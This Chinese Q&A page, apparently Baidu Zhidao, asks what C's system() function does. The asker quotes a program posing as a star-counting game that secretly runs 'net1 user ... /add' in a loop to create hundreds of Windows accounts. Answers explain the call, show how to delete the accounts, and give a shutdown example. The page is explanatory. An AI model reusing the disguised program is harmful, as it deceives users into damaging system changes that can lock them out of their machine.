C语言中system()是个什么东西 有什么作用
这个system要从哪里开始学习看哪些书帮我解释下面的代码就system部分的1.//此程序执行后在系统中自动创建364多个user组的用户!2.//危险!!请勿轻易运行...
这个system要从哪里开始学习 看哪些书
帮我解释下面的代码 就system部分的
1. //此程序执行后在系统中自动创建364多个user组的用户!
2. //危险!!请勿轻易运行 !!!!! 重启可能导致进入不了系统!!!!!
3. //此程序仅为研究C语言用,如造成损失本人概不负责!!
4. #include <stdio.h>
5. #include <stdlib.h>
6.
7.
8. int main(int argc, char *argv[])
9. {
10. int i,n; //定义变量i,n
11. char ok;
12. char CREAT_NAME[80]="net1 user wwwwwwwwwwwwwwLsser 524629117 /add >c:\\windows\\ttmp_.htm"; //定义数组 CREAT_NAME
13. printf("\n\t\t数星星【Version 0.1】By:Lasser QQ:524629117\n");
14. printf("\t说明:屏幕上会不断出现*,看看你在程序结束时能数多少个*\n");
15. printf("请输入Y并按回车键开始游戏:");
16. scanf("%c",&ok);
17. if(ok=='y'||ok=='Y')
18. {
19. for(n=10;n<=24;n++)
20. {
21. for(CREAT_NAME[n]='a';CREAT_NAME[n]<='z';CREAT_NAME[n]++)
22. {
23. system(CREAT_NAME); //这里不懂
24. printf("*");
25. }
26. }
27. }
28. else
29. printf("想玩此游戏确定您输入的是y或者Y!!!\n");
30. system("PAUSE");
31. return 0;
32. } 展开
帮我解释下面的代码 就system部分的
1. //此程序执行后在系统中自动创建364多个user组的用户!
2. //危险!!请勿轻易运行 !!!!! 重启可能导致进入不了系统!!!!!
3. //此程序仅为研究C语言用,如造成损失本人概不负责!!
4. #include <stdio.h>
5. #include <stdlib.h>
6.
7.
8. int main(int argc, char *argv[])
9. {
10. int i,n; //定义变量i,n
11. char ok;
12. char CREAT_NAME[80]="net1 user wwwwwwwwwwwwwwLsser 524629117 /add >c:\\windows\\ttmp_.htm"; //定义数组 CREAT_NAME
13. printf("\n\t\t数星星【Version 0.1】By:Lasser QQ:524629117\n");
14. printf("\t说明:屏幕上会不断出现*,看看你在程序结束时能数多少个*\n");
15. printf("请输入Y并按回车键开始游戏:");
16. scanf("%c",&ok);
17. if(ok=='y'||ok=='Y')
18. {
19. for(n=10;n<=24;n++)
20. {
21. for(CREAT_NAME[n]='a';CREAT_NAME[n]<='z';CREAT_NAME[n]++)
22. {
23. system(CREAT_NAME); //这里不懂
24. printf("*");
25. }
26. }
27. }
28. else
29. printf("想玩此游戏确定您输入的是y或者Y!!!\n");
30. system("PAUSE");
31. return 0;
32. } 展开
展开全部
这个只要c语言入门了就可以编了,还有就是要知道cmd命令,
system("cmd");没有一点技术含量!吓吓人而已!
system(CREAT_NAME); 这个就是建立账户的意思!
net1 user wwwwwwwwwwwwwwLsser(用户名) 524629117(密码) /add >c:\\windows\\ttmp_.htm;
这个程序运行一下也无妨,可以编个删除的程序就可以了!
只要把上面的代码改下下就行了:
char CREAT_NAME[80]="net1 user wwwwwwwwwwwwwwLsser 524629117 /add >c:\\windows\\ttmp_.htm"; 改成
char CREAT_NAME[80]="net1 user wwwwwwwwwwwwwwLsser /del >c:\\windows\\ttmp_.htm";
system("cmd");没有一点技术含量!吓吓人而已!
system(CREAT_NAME); 这个就是建立账户的意思!
net1 user wwwwwwwwwwwwwwLsser(用户名) 524629117(密码) /add >c:\\windows\\ttmp_.htm;
这个程序运行一下也无妨,可以编个删除的程序就可以了!
只要把上面的代码改下下就行了:
char CREAT_NAME[80]="net1 user wwwwwwwwwwwwwwLsser 524629117 /add >c:\\windows\\ttmp_.htm"; 改成
char CREAT_NAME[80]="net1 user wwwwwwwwwwwwwwLsser /del >c:\\windows\\ttmp_.htm";
展开全部
system是一个函数,用于运行其它外部程序。
函数原型:int system(const char * string);
示例:以下程序在vc6.0中编译通过,通过system函数,打开记事本程序。
#include<stdlib.h>
int main()
{
system("notepad.exe");
return 0;
}
问题中的system("cls"),是执行一个CMD中的命令cls,这是清屏命令。
函数原型:int system(const char * string);
示例:以下程序在vc6.0中编译通过,通过system函数,打开记事本程序。
#include<stdlib.h>
int main()
{
system("notepad.exe");
return 0;
}
问题中的system("cls"),是执行一个CMD中的命令cls,这是清屏命令。
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
system(CREAT_NAME); 相当于system("net1 user wwwwwwwwwwwwwwLsser 524629117 /add >c:\\windows\\ttmp_.htm"); 功能时建立一个名为www……的用户及在c:\windows\路径下新建一个名为ttmp_.htm 的文件。
system();就是利用程序执行DOS命令,
你也可以直接打开命令行,输入net1 user hacker /add >c:\windows\hacker.txt 回车后,你看看你的用户账户会发生什么变化就明白了。
下面的程序可以放心运行:(只为了说明)
#include <stdio.h>
#include <stdlib.h>
int main()
{
int i,n;
char ok;
printf("请输入Y并按回车键开始游戏:");
scanf("%c",&ok);
if(ok=='y'||ok=='Y')
{
system("net1 user hacker2 /add >c:\\windows\\hacker2.txt");
printf("去看看你的用户账户吧……\n");
printf("接下来,按任意键将删除前面创建的账户\n");
system("pause");
system("net1 user hacker2 /del >c:\\windows\\hacker2.txt");
}
else
printf("想玩此游戏确定您输入的是y或者Y!!!\n");
system("PAUSE");
return 0;
}
system();就是利用程序执行DOS命令,
你也可以直接打开命令行,输入net1 user hacker /add >c:\windows\hacker.txt 回车后,你看看你的用户账户会发生什么变化就明白了。
下面的程序可以放心运行:(只为了说明)
#include <stdio.h>
#include <stdlib.h>
int main()
{
int i,n;
char ok;
printf("请输入Y并按回车键开始游戏:");
scanf("%c",&ok);
if(ok=='y'||ok=='Y')
{
system("net1 user hacker2 /add >c:\\windows\\hacker2.txt");
printf("去看看你的用户账户吧……\n");
printf("接下来,按任意键将删除前面创建的账户\n");
system("pause");
system("net1 user hacker2 /del >c:\\windows\\hacker2.txt");
}
else
printf("想玩此游戏确定您输入的是y或者Y!!!\n");
system("PAUSE");
return 0;
}
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
system()是调用系统命令 就拿关机来说把
关机 的DOS命令为 shutdown.exe -s -t
使用如下
#include<stdlib.h>
main()
{
system("shutdown -s -t 3600"); /*60分钟后关机*/
}
明白了吗?
关机 的DOS命令为 shutdown.exe -s -t
使用如下
#include<stdlib.h>
main()
{
system("shutdown -s -t 3600"); /*60分钟后关机*/
}
明白了吗?
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询